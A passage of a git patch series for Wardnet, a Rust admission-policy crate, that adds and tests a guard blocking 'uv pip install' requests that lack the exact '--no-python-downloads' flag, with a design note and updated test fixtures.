wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_install_without_python_download_disable_fails_closed() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "uv may install an undeclared Python distribution unless automatic downloads are disabled; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_install_with_exact_no_python_downloads_remains_admissible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-python-downloads".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_python_download_disable_near_spelling_does_not_satisfy_safety_contract() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-python-download".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "an unreviewed near spelling must not disable implicit Python acquisition" + ); +} + +#[test] +fn uv_python_download_disable_assignment_does_not_satisfy_exact_boolean_contract() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--no-python-downloads=false".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "assigned Boolean syntax must not be mistaken for the exact disabling flag" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-python-download-safety".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-python-download-safety".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 7e35c7c52971d23a2914cbb50364337fe23c2ec8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 13:40:06 +0900 Subject: [PATCH 611/702] test(agent-admission): format uv Python download RED --- .../tests/uv_python_download_safety_contract.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs b/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs index 3bb6cd21..907b9c39 100644 --- a/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs @@ -58,9 +58,7 @@ fn uv_python_download_disable_near_spelling_does_not_satisfy_safety_contract() { #[test] fn uv_python_download_disable_assignment_does_not_satisfy_exact_boolean_contract() { let (policy, mut intent) = approved_uv_install(); - intent - .argv - .push("--no-python-downloads=false".to_string()); + intent.argv.push("--no-python-downloads=false".to_string()); let decision = admission_decision(&policy, &intent); From cbdd6cf8d18bb30a4ce488f5cafc65c36944f776 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 13:45:51 +0900 Subject: [PATCH 612/702] fix(agent-admission): classify missing uv Python download guard --- .../src/uv_python_download_safety.rs | 140 ++++++++++++++++++ 1 file changed, 140 insertions(+) create mode 100644 crates/agent-artifact-admission/src/uv_python_download_safety.rs diff --git a/crates/agent-artifact-admission/src/uv_python_download_safety.rs b/crates/agent-artifact-admission/src/uv_python_download_safety.rs new file mode 100644 index 00000000..a3643070 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_python_download_safety.rs @@ -0,0 +1,140 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether an active `uv pip install` can implicitly acquire a Python +/// distribution that is absent from the reviewed artifact set. +pub(crate) fn misses_required_uv_python_download_guard(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &intent.argv[1..]; + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[command_index] != "pip" + || !arguments + .get(command_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + !arguments + .iter() + .take_while(|argument| argument.as_str() != "--") + .any(|argument| argument == "--no-python-downloads") +} + +#[cfg(test)] +mod tests { + use super::misses_required_uv_python_download_guard; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; + + #[test] + fn exact_guard_is_required_for_active_uv_pip_install() { + for arguments in [ + vec!["uv", "pip", "install", "pkg==1"], + vec!["uv", "pip", "install", "pkg==1", "--no-python-download"], + vec![ + "uv", + "pip", + "install", + "pkg==1", + "--no-python-downloads=false", + ], + vec![ + "uv", + "pip", + "install", + "pkg==1", + "--", + "--no-python-downloads", + ], + ] { + assert!( + misses_required_uv_python_download_guard(&intent(&arguments)), + "missing, near, assigned, or option-terminated selectors must not authorize implicit Python acquisition: {arguments:?}" + ); + } + + for arguments in [ + vec![ + "uv", + "pip", + "install", + "pkg==1", + "--no-python-downloads", + ], + vec![ + "uv", + "--no-python-downloads", + "pip", + "install", + "pkg==1", + ], + vec![ + "uv", + "--color", + "never", + "--no-python-downloads", + "pip", + "install", + "pkg==1", + ], + ] { + assert!( + !misses_required_uv_python_download_guard(&intent(&arguments)), + "the exact uv-owned disable flag must satisfy the artifact-cardinality guard: {arguments:?}" + ); + } + } + + #[test] + fn non_install_uv_commands_do_not_claim_python_download_safety_authority() { + for arguments in [ + vec!["uv", "pip", "sync", "pkg==1"], + vec!["uv", "run", "pkg==1"], + vec!["pip", "install", "pkg==1"], + ] { + assert!( + !misses_required_uv_python_download_guard(&intent(&arguments)), + "only active uv pip install belongs to this admission guard: {arguments:?}" + ); + } + } + + fn intent(arguments: &[&str]) -> InstallIntent { + InstallIntent { + request_id: "req-uv-python-download-unit".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: arguments + .iter() + .map(|argument| (*argument).to_string()) + .collect(), + manifest_sha256: + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "pkg".to_string(), + version: "1".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), + artifact_argument: "pkg==1".to_string(), + }], + } + } +} From 9eca278bac3600657d203d1330659b6bc74bb1f2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 13:46:18 +0900 Subject: [PATCH 613/702] fix(agent-admission): enforce uv Python download guard --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index a7865593..c9c6974b 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -32,6 +32,7 @@ mod pypi_system_package_authority; mod uv_bytecode_compilation_authority; mod uv_configuration_authority; mod uv_link_mode_authority; +mod uv_python_download_safety; pub use admission::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, @@ -289,6 +290,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if uv_python_download_safety::misses_required_uv_python_download_guard(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if uv_link_mode_authority::requests_unapproved_uv_symlink_link_mode(intent) { if !decision .reason_codes From 3d61da4e0577028d75564ea3d5ba3467017b9325 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 13:49:50 +0900 Subject: [PATCH 614/702] fix(agent-admission): preserve primary denial evidence for uv guard --- crates/agent-artifact-admission/src/lib.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index c9c6974b..5408f591 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -290,7 +290,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } - if uv_python_download_safety::misses_required_uv_python_download_guard(intent) { + if decision.decision == DecisionKind::Allow + && uv_python_download_safety::misses_required_uv_python_download_guard(intent) + { if !decision .reason_codes .contains(&ReasonCode::MissingSafetyFlag) From 07f5e1e657d0725521cb013d4825a16999769f34 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 13:52:58 +0900 Subject: [PATCH 615/702] docs(agent-admission): trace uv Python download safety boundary --- docs/doctoring/uv-python-download-safety.md | 44 +++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 docs/doctoring/uv-python-download-safety.md diff --git a/docs/doctoring/uv-python-download-safety.md b/docs/doctoring/uv-python-download-safety.md new file mode 100644 index 00000000..084c7acd --- /dev/null +++ b/docs/doctoring/uv-python-download-safety.md @@ -0,0 +1,44 @@ +# uv Python download safety at Agent Artifact Admission + +## Problem + +Wardnet treats an admitted package-install intent as authority for the artifacts explicitly bound by the policy and request. That cardinality guarantee is incomplete for `uv pip install` unless automatic Python acquisition is disabled. + +The current uv CLI reference documents that `uv pip install` searches for a Python interpreter for package resolution and, when no suitable interpreter is found, can install one automatically. uv exposes `--no-python-downloads` to disable automatic Python downloads. A reviewed PyPI artifact therefore must not inherit implicit authority to acquire a Python distribution that is absent from `InstallIntent.artifacts`. + +## Wardnet control + +For a request that otherwise satisfies Wardnet's supported `uv pip install` admission grammar, the submitted argv must contain the exact Boolean flag `--no-python-downloads` before an explicit `--` option terminator. Missing, near-spelled, or assigned forms such as `--no-python-download`, `--no-python-downloads=false`, or a token after `--` do not satisfy the control. + +The guard is applied only to an intent that the existing admission pipeline would otherwise allow. This preserves the primary causal reason for requests already denied by registry, trust-root, install-root, configuration, mutation, build-variant, dependency-cardinality, interpreter-authority, or other controls. The audit `command_sha256` remains bound to the exact submitted argv. + +A representative admissible command shape is: + +```text +uv pip install cwl-example==1.2.3 --require-hashes --no-deps --no-python-downloads +``` + +The flag closes only implicit Python-distribution acquisition. It does not approve a caller-selected interpreter, alternate installation root, mutable dependency set, alternate registry or trust root, package-manager configuration override, or any other authority that Wardnet already evaluates separately. + +## Ownership boundary + +Wardnet owns the pre-execution admission decision, causal reason codes, and security evidence. It does not discover or install Python, inspect ambient interpreter state, fetch package bytes, execute package managers, authorize network destinations, or isolate the eventual process. + +- `quarantine-sandbox-runtime` owns effective interpreter, filesystem, process/session isolation, cleanup, and hostile execution controls. +- EgressWeave owns executable outbound transport authorization. +- AppGuardrail owns static package and code-security analysis. +- `contextual-orchestrator` owns Agent and LLM orchestration. + +This control does not copy or reimplement those owners' runtime behavior. It prevents Wardnet from issuing an admission receipt whose explicit artifact set is narrower than the package manager's permitted acquisition behavior. + +## Verification contract + +The hostile contract starts from an otherwise approved single-artifact uv install and proves that the no-guard, near-spelling, and assigned-false forms fail closed with `MissingSafetyFlag`, while exact `--no-python-downloads` preserves the approved path. Exact submitted argv remains independently verifiable through `command_sha256`. + +Production acceptance requires the same exact head to pass the locked Rust workspace tests, strict Clippy, and the repository's applicable security and fuzz gates. Predecessor or test-only results are not promoted to the repaired head. + +## References + +Astral Software, Inc. (n.d.). *uv CLI reference*. Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (n.d.). *Python versions*. Retrieved September 13, 2026, from https://docs.astral.sh/uv/concepts/python-versions/ From 1a798794c02a450a46a5d14fbff25dc082ddd2a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 14:04:40 +0900 Subject: [PATCH 616/702] fix(agent-admission): format uv Python download guard --- .../src/uv_python_download_safety.rs | 25 +++++-------------- 1 file changed, 6 insertions(+), 19 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_python_download_safety.rs b/crates/agent-artifact-admission/src/uv_python_download_safety.rs index a3643070..e2cb3c67 100644 --- a/crates/agent-artifact-admission/src/uv_python_download_safety.rs +++ b/crates/agent-artifact-admission/src/uv_python_download_safety.rs @@ -62,20 +62,8 @@ mod tests { } for arguments in [ - vec![ - "uv", - "pip", - "install", - "pkg==1", - "--no-python-downloads", - ], - vec![ - "uv", - "--no-python-downloads", - "pip", - "install", - "pkg==1", - ], + vec!["uv", "pip", "install", "pkg==1", "--no-python-downloads"], + vec!["uv", "--no-python-downloads", "pip", "install", "pkg==1"], vec![ "uv", "--color", @@ -117,8 +105,8 @@ mod tests { .iter() .map(|argument| (*argument).to_string()) .collect(), - manifest_sha256: - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, uri: None, @@ -130,9 +118,8 @@ mod tests { version: "1".to_string(), registry_url: "https://pypi.org/simple".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" - .to_string(), + sha256: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), artifact_argument: "pkg==1".to_string(), }], } From 9f7adce012736b3420127311f62c1c2c3b4dd985 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 14:11:19 +0900 Subject: [PATCH 617/702] test(agent-admission): align approved uv fixture with safety guard --- .../tests/pypi_artifact_variant_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 5bc01876..6add330c 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -128,6 +128,7 @@ fn approved_uv_pypi_install() -> (AdmissionPolicy, InstallIntent) { "uv".to_string(), "pip".to_string(), "install".to_string(), + "--no-python-downloads".to_string(), format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), "--require-hashes".to_string(), "--no-deps".to_string(), From 19ac6a963b80124dbae1968fdb144de90966e25d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 14:14:39 +0900 Subject: [PATCH 618/702] test(agent-admission): align uv constraint fixture with safety guard --- .../tests/pypi_constraint_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs index 4b388203..bd3dd780 100644 --- a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -103,6 +103,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "uv".to_string(), "pip".to_string(), "install".to_string(), + "--no-python-downloads".to_string(), ARTIFACT_ARGUMENT.to_string(), ], _ => vec![ From ee1288310618ed53d831d4fb45cd6d7a28e579b9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 14:21:00 +0900 Subject: [PATCH 619/702] test(agent-admission): align uv cardinality fixture with safety guard --- .../tests/pypi_dependency_cardinality_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs index ac31c923..89ed697a 100644 --- a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -78,6 +78,7 @@ fn approved_pypi_install( "uv".to_string(), "pip".to_string(), "install".to_string(), + "--no-python-downloads".to_string(), ARTIFACT_ARGUMENT.to_string(), ], _ => vec![ From f38a69298db169402be7e6b722ec4ea1e5e0e76b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:04:01 +0900 Subject: [PATCH 620/702] test(agent-admission): keep uv system-package baseline safe --- .../tests/uv_break_system_packages_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs index 6002f4f4..42d39565 100644 --- a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs @@ -74,6 +74,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 01e35807336f73fb6a706f0ce0ae1cea6a8b9b72 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:09:56 +0900 Subject: [PATCH 621/702] test(agent-admission): keep uv build-isolation baseline safe --- .../tests/uv_build_isolation_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs index a81d664f..a1c602b4 100644 --- a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs @@ -108,6 +108,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From d31c2e1ca18286ff3a7c299b93e9b0a19aded66a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:15:01 +0900 Subject: [PATCH 622/702] test(agent-admission): keep uv bytecode baseline safe --- .../tests/uv_bytecode_compilation_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs index c7771322..4c31ee52 100644 --- a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs @@ -275,6 +275,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From e99c2827098c224cd0b79f3630b33ab9ac858a34 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:18:43 +0900 Subject: [PATCH 623/702] test(agent-admission): keep uv config baseline safe --- .../tests/uv_config_file_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs index 8324a513..2083323f 100644 --- a/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs @@ -148,6 +148,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "example-package==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ]; let artifact = intent .artifacts From 932b673fa8eb9798cb51d932677bf57b7fb9331e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:19:16 +0900 Subject: [PATCH 624/702] test(agent-admission): keep uv directory baseline safe --- .../tests/uv_directory_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs index efd6b127..2648f244 100644 --- a/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs @@ -209,6 +209,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 93f4f5e72d5fc9b7e477f25761fac5c4a419339e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:19:31 +0900 Subject: [PATCH 625/702] test(agent-admission): keep uv exact-sync baseline safe --- .../tests/uv_exact_sync_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs index e032795a..4b5a3f08 100644 --- a/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs @@ -72,6 +72,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 4252d7bcc71bcdb20e6df17ae22300d213faf25a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:20:27 +0900 Subject: [PATCH 626/702] test(agent-admission): keep uv hash baseline safe --- .../tests/uv_hash_verification_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs index 17bb77e8..faf3005e 100644 --- a/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs @@ -94,6 +94,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From ca1812dba902f34150080be1393f8a4462dcffa2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:20:43 +0900 Subject: [PATCH 627/702] test(agent-admission): keep uv keyring baseline safe --- .../tests/uv_keyring_provider_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs index f6865fc8..a5033f6b 100644 --- a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -108,6 +108,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From b370cdc0db65a7166017a8249cf771af00127870 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:21:01 +0900 Subject: [PATCH 628/702] test(agent-admission): keep uv Python-provider baseline safe --- .../tests/uv_managed_python_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index d619502b..f871db87 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -190,6 +190,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 8d0d576e669de98baca47110311df820308bf035 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:21:15 +0900 Subject: [PATCH 629/702] test(agent-admission): keep uv interpreter baseline safe --- .../tests/uv_python_interpreter_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs index f8ec81a1..7cd539d1 100644 --- a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs @@ -118,6 +118,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 2b090de580c623e8d30b79907a82548e2e541edd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:21:31 +0900 Subject: [PATCH 630/702] test(agent-admission): keep uv reinstall baseline safe --- .../tests/uv_reinstall_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs index 32162782..88d6207d 100644 --- a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs @@ -88,6 +88,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 040042d15f6c9a51d303198eead558eca07fa8b0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 